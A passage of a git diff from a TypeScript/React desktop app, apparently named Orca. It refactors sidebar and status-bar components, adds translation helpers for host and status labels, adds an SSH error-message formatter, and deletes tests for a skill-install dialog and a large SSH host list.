+} from '../../../../../../shared/execution-host'
+import { folderWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import {
   isIdleWorkspaceActivity,
   type WorkspaceActivityFacts
-} from '../../../../shared/sidebar-list/workspace-activity-facts'
+} from '../../../../../../shared/sidebar-list/workspace-activity-facts'
 
 /** The window's own activity facts, from the same store slices the sidebar filter reads. */
 export function readWindowWorkspaceActivityFacts(
diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/FolderPathStatusIndicator.tsx b/src/renderer/src/components/sidebar/worktree-list/rows/FolderPathStatusIndicator.tsx
index 04b4f4c5bca..09ecb8f8c1c 100644
--- a/src/renderer/src/components/sidebar/worktree-list/rows/FolderPathStatusIndicator.tsx
+++ b/src/renderer/src/components/sidebar/worktree-list/rows/FolderPathStatusIndicator.tsx
@@ -47,3 +47,10 @@ export function FolderPathStatusIndicator({
     </Tooltip>
   )
 }
+
+export function isFolderWorkspaceCreateDisabled(status: FolderWorkspacePathStatus | null): boolean {
+  return (
+    status?.exists === false &&
+    (isConfirmedStaleFolderPathStatus(status) || status.reason === 'ambiguous-connection')
+  )
+}
diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/HostSectionHeader.tsx b/src/renderer/src/components/sidebar/worktree-list/rows/HostSectionHeader.tsx
index af8b9384d41..0d486c8d042 100644
--- a/src/renderer/src/components/sidebar/worktree-list/rows/HostSectionHeader.tsx
+++ b/src/renderer/src/components/sidebar/worktree-list/rows/HostSectionHeader.tsx
@@ -3,6 +3,7 @@ import { AlertTriangle, ChevronDown, Loader2, Server, ServerOff } from 'lucide-r
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
 import { cn } from '@/lib/class-names'
 import { useTranslate } from '@/i18n/use-translate'
+import { translateHostDisplayLabel } from '../../execution-host-label'
 import type { HostHeaderRow } from '../../../../../../shared/sidebar-list/host-section-rows'
 import { HostSectionHeaderMenu } from './HostSectionHeaderMenu'
 import { stopRepoHeaderMenuEvent } from './header-event-guards'
@@ -146,7 +147,7 @@ export function HostSectionHeader({
               isDisconnected || isSuspended ? 'text-muted-foreground' : 'text-foreground'
             )}
           >
-            {row.label}
+            {translateHostDisplayLabel(row)}
           </span>
           {detail ? (
             <span
diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/HostSectionHeaderMenu.tsx b/src/renderer/src/components/sidebar/worktree-list/rows/HostSectionHeaderMenu.tsx
index f0ed1eb77dc..bb26b6100a3 100644
--- a/src/renderer/src/components/sidebar/worktree-list/rows/HostSectionHeaderMenu.tsx
+++ b/src/renderer/src/components/sidebar/worktree-list/rows/HostSectionHeaderMenu.tsx
@@ -24,14 +24,15 @@ import {
 } from '@/components/ui/dropdown-menu'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
 import { useMountedRef } from '@/hooks/useMountedRef'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
 import { sshConnectVerb } from '@/ssh/ssh-connect-verb'
+import { formatSshUserFacingError } from '@/components/settings/ssh/targets/ssh-user-facing-error'
 import { parseExecutionHostId } from '../../../../../../shared/execution-host'
 import { runtimePairingRepairRoute } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments'
 
-import { describeRuntimeCompatBlock } from '@/lib/runtime-host-copy'
+import { describeRuntimeCompatBlock } from '@/runtime/hosts/display/runtime-host-copy'
 import { startWslHostAndReloadProjects } from '@/runtime/hosts/wsl/wsl-host-user-start'
 import { clearRuntimeCompatibilityCache } from '@/runtime/rpc/compatibility/runtime-compatibility-cache'
 import { unwrapRuntimeRpcResult } from '@/runtime/rpc/calls/runtime-rpc-result'
@@ -43,6 +44,7 @@ import { HostRenameDialog } from '../../HostRenameDialog'
 import { HostRemoveDialog } from '../../HostRemoveDialog'
 import { RuntimeRepairDialog } from '../../../runtime-access/RuntimeRepairDialog'
 import { resolveHostRemoval } from '../../host-rename-remove'
+import { translateHostDisplayLabel } from '../../execution-host-label'
 
 function blockedTitle(
   reason: 'client-too-old' | 'server-too-old',
@@ -124,7 +126,7 @@ export function HostSectionHeaderMenu({ row }: { row: HostHeaderRow }): React.JS
       } catch (err) {
         toast.error(
           err instanceof Error
-            ? err.message
+            ? formatSshUserFacingError(err.message)
             : action === 'connect'
               ? translate(
                   'auto.components.sidebar.HostSectionHeaderMenu.2c29e2de68',
@@ -271,7 +273,7 @@ export function HostSectionHeaderMenu({ row }: { row: HostHeaderRow }): React.JS
           </>
         )}
         <DropdownMenuLabel className="truncate text-[11px] font-medium text-muted-foreground">
-          {row.label}
+          {translateHostDisplayLabel(row)}
         </DropdownMenuLabel>
         {model.actions.includes('rename') && (
           <DropdownMenuItem onSelect={() => setRenameOpen(true)}>
diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/ProjectGroupNameDialog.tsx b/src/renderer/src/components/sidebar/worktree-list/rows/ProjectGroupNameDialog.tsx
index eca02c64a3b..520e425f694 100644
--- a/src/renderer/src/components/sidebar/worktree-list/rows/ProjectGroupNameDialog.tsx
+++ b/src/renderer/src/components/sidebar/worktree-list/rows/ProjectGroupNameDialog.tsx
@@ -49,8 +49,13 @@ export function ProjectGroupNameDialog({
   if (open !== previousOpenState.open || initialName !== previousOpenState.initialName) {
     setPreviousOpenState({ open, initialName })
     if (open) {
-      setName(initialName)
-      setSubmitting(false)
+      // Preserve edited drafts when the localized suggestion changes.
+      if (!previousOpenState.open || name === previousOpenState.initialName) {
+        setName(initialName)
+      }
+      if (!previousOpenState.open) {
+        setSubmitting(false)
+      }
     }
   }
 
diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/SectionHeader.tsx b/src/renderer/src/components/sidebar/worktree-list/rows/SectionHeader.tsx
index a103bdf29e7..06f9bbdf262 100644
--- a/src/renderer/src/components/sidebar/worktree-list/rows/SectionHeader.tsx
+++ b/src/renderer/src/components/sidebar/worktree-list/rows/SectionHeader.tsx
@@ -10,10 +10,6 @@ import { cn } from '@/lib/class-names'
 import { RepoIconGlyph } from '@/components/repo/repo-icon'
 import { RepoForkIndicator } from '@/components/repo/repo-fork-indicator'
 
-import {
-  type FolderWorkspacePathStatus,
-  isConfirmedStaleFolderPathStatus
-} from '../../../../../../shared/folder-workspaces/folder-workspace-path-status'
 import '@/store/project-groups/project-group-owner-routing'
 import { getRepoExecutionHostId } from '../../../../../../shared/execution-host'
 import {
@@ -24,6 +20,7 @@ import {
 import { PINNED_GROUP_KEY } from '../../../../../../shared/sidebar-list/group-keys'
 import '../../workspace-status/presentation/workspace-status'
 import { getWorkspaceStatusFromGroupKey } from '../../../../../../shared/workspace-statuses'
+import { translateWorkspaceStatusHeaderLabel } from '../../workspace-board-status-label'
 import { getVirtualRowTransform } from '../viewport/virtual-rows'
 import { getSidebarHeaderVisual } from './header-visuals'
 import { resolveProjectGroupHeaderColor } from './project-header-color'
@@ -32,7 +29,10 @@ import {
   getProjectGroupHeaderPaddingLeft,
   WORKTREE_SECTION_HEADER_PADDING_LEFT
 } from './indentation'
-import { FolderPathStatusIndicator } from './FolderPathStatusIndicator'
+import {
+  FolderPathStatusIndicator,
+  isFolderWorkspaceCreateDisabled
+} from './FolderPathStatusIndicator'
 import { RepoScanUnavailableIndicator } from './RepoScanUnavailableIndicator'
 import {
   ProjectGroupCreateWorkspaceButton,
@@ -51,14 +51,6 @@ import { getWorktreeOptionId } from './option-dom'
 import type { SectionHeaderRowContext } from './section-header-row-context'
 import type { Translate } from '@/i18n/use-translate'
 
-// The folder-scan project group whose parent path is gone can't create new workspaces.
-function isFolderWorkspaceCreateDisabled(status: FolderWorkspacePathStatus | null): boolean {
-  return (
-    status?.exists === false &&
-    (isConfirmedStaleFolderPathStatus(status) || status.reason === 'ambiguous-connection')
-  )
-}
-
 export function renderWorktreeSectionHeaderRow(
   args: {
     ctx: SectionHeaderRowContext
@@ -143,7 +135,10 @@ export function renderWorktreeSectionHeaderRow(
       : null
   const isPinnedHeader = row.key === PINNED_GROUP_KEY
   const headerVisual = getSidebarHeaderVisual(row.icon, ctx.workspaceStatuses, t)
-  const label = row.label ?? headerVisual.label ?? ''
+  const label = translateWorkspaceStatusHeaderLabel(
+    headerWorkspaceStatus,
+    row.label ?? headerVisual.label ?? ''
+  )
   const hostContext =
     ctx.groupBy === 'repo' ? ctx.projectHeaderHostContexts?.get(row.key) : undefined
   const repoHeaderColor = resolveProjectGroupHeaderColor({
diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/host-header-detail.ts b/src/renderer/src/components/sidebar/worktree-list/rows/host-header-detail.ts
index 45c26825ad5..42e058be94e 100644
--- a/src/renderer/src/components/sidebar/worktree-list/rows/host-header-detail.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/rows/host-header-detail.ts
@@ -1,5 +1,6 @@
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
+import { translateExecutionHostDetail } from '../../execution-host-label'
 import type { HostHeaderRow } from '../../../../../../shared/sidebar-list/host-section-rows'
 
 export function getHostHeaderDetail(
@@ -78,7 +79,7 @@ export function getHostHeaderDetail(
   }
   // Transport details add context only for remote hosts.
   if (row.kind !== 'local') {
-    return { text: row.detail, isWarning: false }
+    return { text: translateExecutionHostDetail(row.detail), isWarning: false }
   }
   return null
 }
diff --git a/src/renderer/src/components/skills/installation/SkillInstallManagementDialog.test.tsx b/src/renderer/src/components/skills/installation/SkillInstallManagementDialog.test.tsx
deleted file mode 100644
index ff065987c7d..00000000000
--- a/src/renderer/src/components/skills/installation/SkillInstallManagementDialog.test.tsx
+++ /dev/null
@@ -1,199 +0,0 @@
-// @vitest-environment happy-dom
-
-import { cleanup, fireEvent, render, screen } from '@testing-library/react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { ManagedSkillInstall } from '../../../../../shared/skill-install-contract'
-import type {
-  SkillCloudPackageDetails,
-  SkillCloudVersion
-} from '../../../../../shared/skill-cloud-contract'
-import { useAppStore } from '@/store/index'
-
-import { SkillInstallManagementDialog } from './SkillInstallManagementDialog'
-
-const DIGEST = 'a'.repeat(64)
-const ARCHIVE_SHA = 'b'.repeat(64)
-
-function version(versionId: string, createdAt: string): SkillCloudVersion {
-  return {
-    packageId: 'pkg_1',
-    versionId,
-    name: 'private-skill',
-    description: 'Private skill',
-    packageDigest: DIGEST,
-    archiveSha256: ARCHIVE_SHA,
-    compressedBytes: 128,
-    createdAt,
-    releaseNotes: '',
-    manifest: {
-      schemaVersion: 1,
-      packageId: 'pkg_1',
-      versionId,
-      name: 'private-skill',
-      description: 'Private skill',
-      createdAt,
-      files: [],
-      packageDigest: DIGEST
-    }
-  }
-}
-
-function install(versionId: string): ManagedSkillInstall {
-  return {
-    name: 'private-skill',
-    packageId: 'pkg_1',
-    versionId,
-    packageDigest: DIGEST,
-    scope: 'global',
-    destinationIdentity: 'global:local',
-    destination: { scope: 'global' },
-    installedAt: '2026-08-11T00:00:00.000Z',
-    state: 'unchanged'
-  }
-}
-
-function packageDetails(versions: SkillCloudVersion[]): SkillCloudPackageDetails {
-  return {
-    id: 'pkg_1',
-    name: 'private-skill',
-    description: 'Private skill',
-    createdAt: versions.at(-1)?.createdAt ?? '2026-08-11T00:00:00.000Z',
-    canManage: true,
-    versions
-  }
-}
-
-function skillsApi(
-  installedInput: ManagedSkillInstall | ManagedSkillInstall[],
-  versions: SkillCloudVersion[],
-  details = packageDetails(versions)
-) {
-  const installed = Array.isArray(installedInput) ? installedInput : [installedInput]
-  let progressListener:
-    | ((progress: { operationId: string; phase: 'authorizing' | 'installing' }) => void)
-    | null = null
-  return {
-    listManagedInstalls: vi.fn().mockResolvedValue({ status: 'ok', value: installed }),
-    getPackage: vi.fn().mockResolvedValue({ status: 'ok', value: details }),
-    installPackageVersion: vi.fn().mockResolvedValue({
-      status: 'ok',
-      value: {
-        operationId: 'operation_1',
-        status: 'updated',
-        name: installed[0]?.name ?? 'private-skill',
-        packageDigest: DIGEST,
-        placements: []
-      }
-    }),
-    installBundlePackageVersion: vi.fn().mockResolvedValue({
-      status: 'ok',
-      value: {
-        operationId: 'operation_bundle',
-        packageId: 'pkg_1',
-        versionId: versions[0]?.versionId ?? 'ver_1',
-        bundleDigest: DIGEST,
-        status: 'complete',
-        skills: installed.map((skill) => ({
-          skillId: skill.name,
-          name: skill.name,
-          digest: skill.packageDigest,
-          status: 'updated',
-          placements: []
-        }))
-      }
-    }),
-    removeInstall: vi.fn().mockResolvedValue({
-      status: 'ok',
-      value: {
-        operationId: 'operation_2',
-        status: 'removed',
-        name: installed[0]?.name ?? 'private-skill',
-        packageDigest: DIGEST,
-        placements: []
-      }
-    }),
-    revokeShare: vi.fn().mockResolvedValue({ status: 'ok', value: undefined }),
-    deletePackage: vi.fn().mockResolvedValue({ status: 'ok', value: undefined }),
-    cancelInstall: vi.fn().mockResolvedValue({ cancelled: true }),
-    onInstallProgress: vi.fn((listener) => {
-      progressListener = listener
-      return () => {
-        progressListener = null
-      }
-    }),
-    emitInstallProgress: (progress: { operationId: string; phase: 'authorizing' | 'installing' }) =>
-      progressListener?.(progress)
-  }
-}
-
-function bundleVersion(versionId: string, names: string[]): SkillCloudVersion {
-  const createdAt = '2026-08-12T00:00:00.000Z'
-  return {
-    ...version(versionId, createdAt),
-    name: 'team-skills',
-    manifest: {
-      schemaVersion: 1,
-      packageId: 'pkg_1',
-      versionId,
-      bundleName: 'team-skills',
-      description: 'Team skills',
-      createdAt,
-      bundleDigest: DIGEST,
-      skills: names.map((name) => ({
-        id: name,
-        name,
-        description: `${name} description`,
-        digest: DIGEST,
-        files: []
-      }))
-    }
-  }
-}
-
-function bundleInstall(name: string, state: ManagedSkillInstall['state'] = 'unchanged') {
-  return { ...install('ver_1'), name, bundleDigest: DIGEST, state }
-}
-
-beforeEach(() => {
-  useAppStore.setState({
-    runtimeEnvironments: [],
-    sshConnectionStates: new Map(),
-    sshTargetLabels: new Map(),
-    pendingSkillShareId: null
-  })
-})
-
-afterEach(() => {
-  cleanup()
-  vi.restoreAllMocks()
-  Reflect.deleteProperty(window, 'api')
-})
-
-describe('SkillInstallManagementDialog', () => {
-  it('opens an active bundle link in the existing machine installer', async () => {
-    const installed = [bundleInstall('alpha-skill'), bundleInstall('beta-skill')]
-    const versions = [bundleVersion('ver_1', ['alpha-skill', 'beta-skill'])]
-    const details = {
-      ...packageDetails(versions),
-      management: {
-        shares: [
-          {
-            id: 'share_bundle',
-            url: 'https://app.orca.dev/skills/share/share_bundle',
-            createdAt: '2026-08-12T00:00:00.000Z'
-          }
-        ]
-      }
-    }
-    const skills = skillsApi(installed, versions, details)
-    const onOpenChange = vi.fn()
-    Object.defineProperty(window, 'api', { configurable: true, value: { skills } })
-    render(<SkillInstallManagementDialog open onOpenChange={onOpenChange} />)
-
-    fireEvent.click(await screen.findByRole('button', { name: /alpha-skill \+1/ }))
-    fireEvent.click(await screen.findByRole('button', { name: /Install elsewhere/ }))
-
-    expect(onOpenChange).toHaveBeenCalledWith(false)
-    expect(useAppStore.getState().pendingSkillShareId).toBe('share_bundle')
-  })
-})
diff --git a/src/renderer/src/components/stats/UsageRecentSessionsTable.tsx b/src/renderer/src/components/stats/UsageRecentSessionsTable.tsx
index 76dabf48b40..fca4463d14e 100644
--- a/src/renderer/src/components/stats/UsageRecentSessionsTable.tsx
+++ b/src/renderer/src/components/stats/UsageRecentSessionsTable.tsx
@@ -1,4 +1,4 @@
-import { formatSessionTime, formatTokens } from './usage-formatters'
+import { formatSessionTime, formatTokens, formatUsageProjectLabel } from './usage-formatters'
 import { useIntlLocale } from '../../i18n/use-translate'
 
 type UsageRecentSession = {
@@ -65,7 +65,9 @@ export function UsageRecentSessionsTable<Row extends UsageRecentSession>({
                 <td className="px-2 py-2 text-muted-foreground">
                   {formatSessionTime(row.lastActiveAt, intlLocale)}
                 </td>
-                <td className="px-2 py-2 text-foreground">{row.projectLabel}</td>
+                <td className="px-2 py-2 text-foreground">
+                  {formatUsageProjectLabel(row.projectLabel)}
+                </td>
                 <td className="px-2 py-2 text-muted-foreground">
                   {row.model ?? unknownModel}
                   {getModelSuffix?.(row)}
diff --git a/src/renderer/src/components/stats/usage-formatters.ts b/src/renderer/src/components/stats/usage-formatters.ts
index 3a01c7ba37c..59a4478ac1a 100644
--- a/src/renderer/src/components/stats/usage-formatters.ts
+++ b/src/renderer/src/components/stats/usage-formatters.ts
@@ -31,6 +31,17 @@ export function formatUpdatedAt(
   })
 }
 
+export function formatUnknownLocationLabel(label: string): string {
+  if (label === 'Unknown location') {
+    return translate('auto.components.stats.usageFormatters.unknownLocation', 'Unknown location')
+  }
+  return label
+}
+
+export function formatUsageProjectLabel(label: string): string {
+  return formatUnknownLocationLabel(label)
+}
+
 export function formatSessionTime(timestamp: string, intlLocale: string = getIntlLocale()): string {
   const parsed = new Date(timestamp)
   if (Number.isNaN(parsed.getTime())) {
diff --git a/src/renderer/src/components/status-bar/CaffeinateStatusSegment.tsx b/src/renderer/src/components/status-bar/CaffeinateStatusSegment.tsx
index 040d3fe5b24..ce8071e9726 100644
--- a/src/renderer/src/components/status-bar/CaffeinateStatusSegment.tsx
+++ b/src/renderer/src/components/status-bar/CaffeinateStatusSegment.tsx
@@ -10,8 +10,8 @@ import {
   DropdownMenuTrigger
 } from '@/components/ui/dropdown-menu'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
-import { useAppStore } from '@/store'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { useAppStore } from '@/store/index'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
 import {
diff --git a/src/renderer/src/components/status-bar/PluginStatusBarItems.tsx b/src/renderer/src/components/status-bar/PluginStatusBarItems.tsx
index 25c11d674b1..b09e15960b5 100644
--- a/src/renderer/src/components/status-bar/PluginStatusBarItems.tsx
+++ b/src/renderer/src/components/status-bar/PluginStatusBarItems.tsx
@@ -1,10 +1,10 @@
 import { toast } from 'sonner'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
 import { PluginDeclarativeIconGlyph } from '@/components/plugins/declarative/plugin-declarative-icons'
-import { executePluginCommand } from '@/lib/plugin-command-execution'
+import { executePluginCommand } from '@/lib/plugins/commands/plugin-command-execution'
 import { translate } from '@/i18n/i18n'
 import { useTranslate } from '@/i18n/use-translate'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { pluginCommandUnavailableReason } from '@/components/plugins/page/plugin-contribution-action-availability'
 import {
   usePluginStatusBarItems,
diff --git a/src/renderer/src/components/status-bar/SshStatusSegment.large-host-list.test.tsx b/src/renderer/src/components/status-bar/SshStatusSegment.large-host-list.test.tsx
deleted file mode 100644
index 3a756b77fe5..00000000000
--- a/src/renderer/src/components/status-bar/SshStatusSegment.large-host-list.test.tsx
+++ /dev/null
@@ -1,138 +0,0 @@
-// @vitest-environment happy-dom
-import type { PropsWithChildren } from 'react'
-import { cleanup, fireEvent, render, screen } from '@testing-library/react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { GlobalSettings } from '../../../../shared/global-settings-types'
-import type { PublicKnownRuntimeEnvironment } from '../../../../shared/remote-runtime/host-catalog/runtime-environments'
-import type { RuntimeEnvironmentStatus } from '../../../../shared/remote-runtime/host-status/runtime-host-status'
-import type { SshConnectionState, SshConnectionStatus } from '../../../../shared/ssh-types'
-import type { Repo } from '../../../../shared/repo-types'
-import { SshStatusSegment } from './SshStatusSegment'
-import { HOST_LIST_ROW_LIMIT } from '../host-picker/bounded-host-list'
-import { SSH_STATUS_MENU_IDLE_ROW_LIMIT } from './ssh-status-menu-rows'
-
-function noSettings(): GlobalSettings | null {
-  return null
-}
-
-const state = {
-  sshTargetLabels: new Map<string, string>(),
-  sshConnectionStates: new Map<string, SshConnectionState>(),
-  repos: new Array<Pick<Repo, 'id' | 'connectionId'>>(),
-  runtimeEnvironments: new Array<PublicKnownRuntimeEnvironment>(),
-  runtimeStatusByEnvironmentId: new Map<string, RuntimeEnvironmentStatus>(),
-  settings: noSettings(),
-  readRuntimeHostStatusSnapshots: vi.fn(async () => undefined),
-  hydrateRuntimeEnvironmentStatuses: vi.fn(),
-  recordFeatureInteraction: vi.fn(),
-  openSettingsTarget: vi.fn(),
-  setActiveView: vi.fn()
-}
-
-vi.mock('../../store', () => {
-  const useAppStore = (selector: (value: typeof state) => unknown) => selector(state)
-  useAppStore.getState = () => state
-  return { useAppStore }
-})
-vi.mock('../../lib/ssh-config-passive-sync', () => ({
-  syncSshConfigTargetsPassively: vi.fn(async () => undefined)
-}))
-vi.mock('@/components/ui/dropdown-menu', () => {
-  const content = ({ children }: PropsWithChildren) => <div>{children}</div>
-  return {
-    DropdownMenu: content,
-    DropdownMenuContent: content,
-    DropdownMenuItem: ({ children, onSelect }: PropsWithChildren<{ onSelect?: () => void }>) => (
-      <div role="menuitem" onClick={onSelect}>
-        {children}
-      </div>
-    ),
-    DropdownMenuSeparator: () => <hr />,
-    DropdownMenuTrigger: content,
-    DropdownMenuSub: content,
-    DropdownMenuSubContent: content,
-    DropdownMenuSubTrigger: content
-  }
-})
-
-// Why 13,692: the host count from the generated ~/.ssh/config in the crash this guards.
-const IMPORTED_HOST_COUNT = 13_692
-
-function connectionState(targetId: string, status: SshConnectionStatus): SshConnectionState {
-  return { targetId, status, error: null, reconnectAttempt: 0 }
-}
-
-beforeEach(() => {
-  vi.clearAllMocks()
-  state.sshTargetLabels = new Map(
-    Array.from({ length: IMPORTED_HOST_COUNT }, (_, index) => [
-      `ssh-${index}`,
-      `node-${String(index).padStart(5, '0')}`
-    ])
-  )
-  state.sshConnectionStates = new Map([
-    ['ssh-9000', connectionState('ssh-9000', 'connected')],
-    ['ssh-13000', connectionState('ssh-13000', 'reconnecting')]
-  ])
-  state.repos = [{ id: 'repo-1', connectionId: 'ssh-12345' }]
-})
-
-afterEach(() => {
-  cleanup()
-})
-
-describe('the status menu with a very large imported SSH host list', () => {
-  it('renders a bounded number of idle host rows instead of one per imported host', () => {
-    render(<SshStatusSegment compact={false} iconOnly={false} />)
-    const connectButtons = screen.queryAllByRole('button', { name: 'Connect' })
-    expect(connectButtons.length).toBeLessThanOrEqual(SSH_STATUS_MENU_IDLE_ROW_LIMIT + 1)
-    expect(document.body.getElementsByTagName('*').length).toBeLessThan(2_000)
-  })
-
-  it('always lists connected and in-progress hosts, wherever they sit in the list', () => {
-    render(<SshStatusSegment compact={false} iconOnly={false} />)
-    expect(screen.getByText('node-09000')).toBeTruthy()
-    expect(screen.getByText('node-13000')).toBeTruthy()
-    expect(screen.getByText('node-00000')).toBeTruthy()
-    expect(screen.queryByText('node-13691')).toBeNull()
-  })
-
-  it('offers a search for the hidden hosts that connects the exact host typed', async () => {
-    const connect = vi.fn(async () => undefined)
-    vi.stubGlobal('api', { ssh: { connect } })
-    state.sshConnectionStates.set('ssh-5', connectionState('ssh-5', 'auth-failed'))
-    render(<SshStatusSegment compact={false} iconOnly={false} />)
-    const hidden = IMPORTED_HOST_COUNT - 3 - SSH_STATUS_MENU_IDLE_ROW_LIMIT
-    fireEvent.click(screen.getByRole('menuitem', { name: `Find among ${hidden} more SSH hosts…` }))
-    const search = await screen.findByRole('combobox')
-    fireEvent.change(search, { target: { value: 'node-13691' } })
-    expect(screen.getByRole('option', { name: /node-13691/ })).toBeTruthy()
-    expect(screen.queryByRole('option', { name: /node-00005/ })).toBeNull()
-    fireEvent.keyDown(search, { key: 'Enter' })
-    await vi.waitFor(() => expect(connect).toHaveBeenCalledWith({ targetId: 'ssh-13691' }))
-    expect(connect).toHaveBeenCalledTimes(1)
-    vi.unstubAllGlobals()
-  })
-
-  it('caps the search results and says how many more match', async () => {
-    render(<SshStatusSegment compact={false} iconOnly={false} />)
-    fireEvent.click(screen.getByRole('menuitem', { name: /^Find among/ }))
-    const search = await screen.findByRole('combobox')
-    fireEvent.change(search, { target: { value: 'node-1' } })
-    expect(screen.getAllByRole('option').length).toBeLessThanOrEqual(HOST_LIST_ROW_LIMIT)
-    expect(screen.getByText(/more matches\. Keep typing/)).toBeTruthy()
-    fireEvent.change(search, { target: { value: 'no-such-host' } })
-    expect(screen.getByText('No SSH hosts match.')).toBeTruthy()
-  })
-
-  it('returns focus to the status button when the search is closed from the keyboard', async () => {
-    render(<SshStatusSegment compact={false} iconOnly={false} />)
-    fireEvent.click(screen.getByRole('menuitem', { name: /^Find among/ }))
-    const search = await screen.findByRole('combobox')
-    search.focus()
-    fireEvent.keyDown(search, { key: 'Escape' })
-    await vi.waitFor(() => expect(screen.queryByRole('combobox')).toBeNull())
-    const trigger = screen.getByRole('button', { name: 'Remote host connection status' })
-    await vi.waitFor(() => expect(document.activeElement).toBe(trigger))
-  })
-})
diff --git a/src/renderer/src/components/status-bar/SshStatusSegment.tsx b/src/renderer/src/components/status-bar/SshStatusSegment.tsx
index f26680b1ba7..a9bcb03240c 100644
--- a/src/renderer/src/components/status-bar/SshStatusSegment.tsx
+++ b/src/renderer/src/components/status-bar/SshStatusSegment.tsx
@@ -8,8 +8,7 @@ import {
   DropdownMenuSeparator,
   DropdownMenuTrigger
 } from '@/components/ui/dropdown-menu'
-import { useAppStore } from '../../store'
-import type { SshConnectionStatus } from '../../../../shared/ssh-types'
+import { useAppStore } from '../../store/index'
 import { translate } from '@/i18n/i18n'
 import { useTranslate } from '@/i18n/use-translate'
 import { getHostDisplayLabelOverrides } from '../../../../shared/host-setting-overrides'
@@ -29,19 +28,20 @@ import { connectedHostCountLabel, moreSshHostsLabel } from './ssh-status-segment
 import { SshHostFindPopover } from './SshHostFindPopover'
 import { splitSshStatusMenuRows } from './ssh-status-menu-rows'
 import { SshTargetStatusRow } from './SshTargetStatusRow'
-import { syncSshConfigTargetsPassively } from '../../lib/ssh-config-passive-sync'
+import { syncSshConfigTargetsPassively } from '../../runtime/hosts/ssh/ssh-config-passive-sync'
 import { connectRuntimeHostAndReloadProjects } from './runtime-environment-explicit-connect'
 import {
   runtimeHostBlockedCopy,
   runtimeHostBlockedRecovery,
   runtimeHostConnectionDetail,
   runtimeHostStatusForOverall,
-  sshStatusForOverall,
-  type RuntimeHostBlockedRecovery
+  sshStatusForOverall
 } from './remote-host-connection-status'
+import type { RuntimeHostBlockedRecovery } from './remote-host-connection-status'
 import { runtimeHostConnectionStateForEntry } from '@/runtime/hosts/connections/runtime-host-connection-state'
 import { isConnectedRuntimeHostState } from '../../../../shared/remote-runtime/host-status/runtime-host-connection-state'
 import { RuntimeRepairDialog } from '../runtime-access/RuntimeRepairDialog'
+import type { SshConnectionStatus } from '../../../../shared/ssh-types'
 
 export function SshStatusSegment({
   compact,
diff --git a/src/renderer/src/components/status-bar/SshTargetStatusRow.tsx b/src/renderer/src/components/status-bar/SshTargetStatusRow.tsx
index 34491e2e961..a31211ebeac 100644
--- a/src/renderer/src/components/status-bar/SshTargetStatusRow.tsx
+++ b/src/renderer/src/components/status-bar/SshTargetStatusRow.tsx
@@ -7,6 +7,7 @@ import { useTranslate } from '@/i18n/use-translate'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { useAppStore } from '../../store'
 import { STATUS_LABELS, statusColor } from '../settings/ssh/targets/SshTargetCard'
+import { formatSshUserFacingError } from '../settings/ssh/targets/ssh-user-facing-error'
 import { canConnectSshStatus } from '@/ssh/ssh-connection-recoverability'
 import { sshConnectVerb } from '@/ssh/ssh-connect-verb'
 import {
@@ -71,7 +72,7 @@ export function SshTargetStatusRow({
     } catch (err) {
       toast.error(
         err instanceof Error
-          ? err.message
+          ? formatSshUserFacingError(err.message)
           : translate('auto.components.status.bar.SshStatusSegment.bf07aee59e', 'Disconnect failed')
       )
     } finally {
diff --git a/src/renderer/src/components/status-bar/StatusBarProviderSegment.tsx b/src/renderer/src/components/status-bar/StatusBarProviderSegment.tsx
index f8e87af3fa1..916fb463058 100644
--- a/src/renderer/src/components/status-bar/StatusBarProviderSegment.tsx
+++ b/src/renderer/src/components/status-bar/StatusBarProviderSegment.tsx
@@ -1,3 +1,6 @@
+import { useAppStore } from '@/store'
+import { resolveStatusBarUsageTemplate } from '../../../../shared/status-bar-usage-format'
+import { buildUsageFormatValues, renderUsageFormatTemplate } from './usage-format-template'
 import { AlertTriangle } from 'lucide-react'
 import React from 'react'
 import type {
@@ -26,7 +29,7 @@ import { isClaudeUsageWaitingForClaude } from './usage-error-copy'
 import { getTightestUsageSection, getUsageHeadlineSection } from './UsageRosterPanel'
 import { formatBareUsagePercentage, formatUsagePercentageLabel } from './usage-percentage-label'
 import { translate } from '@/i18n/i18n'
-import { useTranslate, type Translate } from '@/i18n/use-translate'
+import { useTranslate, useIntlLocale, type Translate } from '@/i18n/use-translate'
 import { getStatusBarUsageSections } from './status-bar-usage-sections'
 import { GroupedPoolUsage } from './usage-grouped-pools'
 import { formatStatusBarSectionLabel, isGroupedUsagePool } from './usage-pool-label'
@@ -236,6 +239,28 @@ function formatCompactExtraUsage(
       })
 }
 
+function CustomUsageText({
+  template,
+  limits,
+  display,
+  now
+}: {
+  template: string
+  limits: ProviderRateLimits
+  display: UsagePercentageDisplay
+  now: number
+}): React.JSX.Element {
+  const locale = useIntlLocale()
+  return (
+    <span className="whitespace-pre tabular-nums">
+      {renderUsageFormatTemplate(
+        template,
+        buildUsageFormatValues(limits, { display, now, locale })
+      )}
+    </span>
+  )
+}
+
 export function ProviderSegment({
   p,
   compact,
@@ -249,6 +274,8 @@ export function ProviderSegment({
 }): React.JSX.Element {
   const t = useTranslate()
   const provider = p?.provider ?? 'claude'
